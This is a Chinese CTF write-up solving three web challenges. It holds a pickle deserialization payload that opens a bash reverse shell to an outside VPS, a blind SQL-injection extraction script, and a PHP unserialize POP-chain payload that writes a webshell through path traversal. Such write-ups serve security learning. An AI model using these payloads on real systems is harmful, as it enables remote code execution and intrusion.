ez-web
進入題目在注釋里看到<!-- ?pic=1.jpg -->
加上提示flask,?pic=app.py
直接讀取到app.py,然后base64解碼得到:
import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file
app = Flask(__name__)
class User():
def __init__(self,name,age):
self.name = name
self.age = age
def check(s):
if b'R' in s:
return 0
return 1
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
if check(user):
user = pickle.loads(user)
username = user["username"]
else:
username = "bad,bad,hacker"
except:
username = "CTFer"
pic = '{0}.jpg'.format(random.randint(1,7))
try:
pic=request.args.get('pic')
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
except:
pic='{0}.jpg'.format(random.randint(1,7))
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
return render_template('index.html', uname=username, pic=p )
if __name__ == "__main__":
app.run('0.0.0.0')
/flag沒有啥東西,注意到user = pickle.loads(user)
,想到可以利用opcode來RCE,但是過濾了R
,可以用o
,構造Payload:
import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/VPS/7777 0>&1"'
o.'''
print(base64.b64encode(data))
服務器上監聽7777端口,然后將得到的payload寫入cookie:user=PAYLOAD
請求頁面得到反彈Shell,然后需要ls -al /
來列出包括隱藏文件在內(flag在隱藏文件中)的文件:
然后cat /.ffffffffllllllllllllaaaaag
即可獲得flag:flag{a806de95e0fd1e1ba5de6ed1ef20adb2}
ez-sql
InCTF2021原題,參考https://blog.bi0s.in/2021/08/15/Web/Vuln-Drive-InCTF-Internationals-2021/ 的exp,改一下表名和字段就出來了:
import requests
url="http://116.62.239.41:4323/"
flag=''
flaga=""
for i in range(1, 100):
for c in '1234567890abcdefghijklmnopqrstuvwxyz':
payload=flaga+str(hex(ord(c)))[2:]
sql = f'1,username from user where password like 0x{payload}25 union select 1'
r = requests.get(url+ f'?sql1=%2527&sql2={sql}')
if 'nop' in r.text:
flaga = flaga+str(hex(ord(c)))[2:]
flag+=c
break
print(flag)
包裹flag{}提交
ez-php
l3m0n師傅放在博客的原題改了改又拿出來用了:
<?php
highlight_file(__FILE__);
class c4t
{
protected $blacklists = array("GET", "POST", "system", "eval", "cat", "tail", "head", "tac", "more", "less", "nl", "sort", "$", "%");
function filter($data)
{
foreach ($this->blacklists as $filters) {
if (strstr($data, $filters)) {
exit("bad,bad,hacker");
}
}
if (';' === preg_replace('/[a-z]+\((?R)?\)/', "6666", $data)) {
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $data)) {
exit("Go,away!");
}
return $data;
}
return $data;
}
};
class yang
{
protected $filters;
protected $endl;
function __construct($filters, $endl)
{
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt)
{
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};
class host
{
protected $filename;
protected $format;
function __construct($filename, $format)
{
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt)
{
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("/var/log/" . $this->filename, $txt, FILE_APPEND);
}
};
class xin
{
protected $logwriter;
function __construct($writer)
{
$this->logwriter = $writer;
}
function log($txt)
{
$this->logwriter->writeLog($txt);
}
};
class v0id
{
protected $xin;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url)
{
$this->name = $name;
$this->group = $group;
$this->url = $url;
$fltr = new c4t("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
$this->xin = new xin(new host("song_views", new yang(array($fltr), "\n")));
}
function __toString()
{
return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
}
function log()
{
$this->xin->log("v0id " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
function get_name()
{
return $this->name;
}
}
class fz
{
protected $fz;
protected $v0id;
function __construct($fz, $v0id)
{
$this->v0id = $v0id;
$this->fz = $fz;
}
function __toString()
{
return "<p>" . $this->v0id->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->fz) . "</p>\n";
}
function __destruct()
{
$this->v0id->log();
}
function shortForm()
{
return "<p><a href='v0id.php?name=" . urlencode($this->v0id->get_name()) . "'>" . $this->v0id->get_name() . "</a></p>";
}
function name_is($name)
{
return $this->v0id->get_name() === $name;
}
};
class Orz
{
static function addLyrics($fz)
{
$oldlyrics = array();
if (isset($_COOKIE['fz'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['fz']));
}
foreach ($fz as $lyric) $oldlyrics[] = $lyric;
setcookie('fz', base64_encode(serialize($oldlyrics)));
}
static function getLyrics()
{
if (isset($_COOKIE['fz'])) {
return unserialize(base64_decode($_COOKIE['fz']));
} else {
setcookie('fz', base64_encode(serialize(array(1, 2))));
return array(1, 2);
}
}
};
class bolean
{
static function exportData($fz)
{
return base64_encode(serialize($fz));
}
static function importData($fz)
{
return serialize(base64_decode($fz));
}
};
class ymnh
{
protected $ymnh;
function __construct($dbuser, $dbpass, $db)
{
$this->ymnh = mysqli_connect("localhost", $dbuser, $dbpass, $db);
}
function getLyrics($fz)
{
$r = array();
foreach ($fz as $lyric) {
$s = intval($lyric);
$result = $this->ymnh->query("SELECT data FROM fz WHERE id=$s");
while (($row = $result->fetch_row()) != NULL) {
$r[] = unserialize(base64_decode($row[0]));
}
}
return $r;
}
function addLyrics($fz)
{
$ids = array();
foreach ($fz as $lyric) {
$this->ymnh->query("INSERT INTO fz (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
$res = $this->ymnh->query("SELECT MAX(id) FROM fz");
$id = $res->fetch_row();
$ids[] = intval($id[0]);
}
echo var_dump($ids);
return $ids;
}
function __destruct()
{
$this->ymnh->close();
$this->ymnh = NULL;
}
};
@unserialize($_POST['a']);
Pop鏈構造,還是先找找析構函數來入手,發現了兩個析構函數:
//fz類
function __destruct()
{
$this->v0id->log();
}
//ymnh類
function __destruct()
{
$this->ymnh->close();
$this->ymnh = NULL;
}
大概看一下ymnh類的析構函數並沒有什么用,還是跟進v0id類的log方法:
class v0id
{
protected $xin;
protected $name;
protected $group;
function log()
{
$this->xin->log("v0id " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
}
跟進xin類的log方法:
class xin
{
protected $logwriter;
function log($txt)
{
$this->logwriter->writeLog($txt);
}
};
這里的$logwriter
可控,因此可以調用到任意類的writeLog
方法,跟進host類的writeLog
方法:
class host
{
protected $filename;
protected $format;
function __construct($filename, $format)
{
$this->format = $format;
$this->filename = $filename;
}
function writeLog($txt)
{
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("/var/log/" . $this->filename, $txt, FILE_APPEND);
}
}
同樣的$format
字段可控,可以調用到yang類的format方法:
class yang
{
protected $filters;
protected $endl;
function __construct($filters, $endl)
{
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt)
{
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};
這里是可以給$filter
傳一個空數組,這樣就可以不調用c4t類中的檢測方法。
同時c4t下面的這段過濾是無效的:
if (';' === preg_replace('/[a-z]+\((?R)?\)/', "6666", $data)) {
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $data)) {
exit("Go,away!");
}
return $data;
}
因為';' === preg_replace('/[a-z]+\((?R)?\)/', "6666", $data)
是恆為False
的,所以不會進入進一步的判斷。
參考php 反序列化POP鏈的構造與理解改一改就可以構造出payload:
<?php
class yang {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
}
class host {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->format = $format;
$this->filename = $filename;
}
}
class xin {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
}
class v0id {
protected $xin;
protected $name;
protected $group;
function __construct($name, $group, $logger) {
$this->name = $name;
$this->group = $group;
$this->xin = $logger;
}
}
class fz {
protected $fz;
protected $v0id;
function __construct($fz, $v0id) {
$this->v0id = $v0id;
$this->fz = $fz;
}
}
$logfileformat = new yang(array(), "a");
$log_write_file = new host('../../../../var/www/html/y3.php', $logfileformat);
$logger = new xin($log_write_file);
$song = new v0id('JrXnm','<?php system("cat ./*");?>', $logger);
$lyrics = new fz('JrXnm',$song);
echo urlencode(serialize($lyrics));
POST:
a=O%3A2%3A%22fz%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00fz%22%3Bs%3A5%3A%22JrXnm%22%3Bs%3A7%3A%22%00%2A%00v0id%22%3BO%3A4%3A%22v0id%22%3A3%3A%7Bs%3A6%3A%22%00%2A%00xin%22%3BO%3A3%3A%22xin%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00logwriter%22%3BO%3A4%3A%22host%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A31%3A%22..%2F..%2F..%2F..%2Fvar%2Fwww%2Fhtml%2Fy3.php%22%3Bs%3A9%3A%22%00%2A%00format%22%3BO%3A4%3A%22yang%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00filters%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00endl%22%3Bs%3A1%3A%22%0A%22%3B%7D%7D%7Ds%3A7%3A%22%00%2A%00name%22%3Bs%3A5%3A%22JrXnm%22%3Bs%3A8%3A%22%00%2A%00group%22%3Bs%3A25%3A%22%3C%3Fphp+system%28%22cat+.%2F%2A%22%29%3F%3E%22%3B%7D%7D
感謝Frank師傅和CyXq師傅對本文幾處錯誤的指正,已經進行了更正~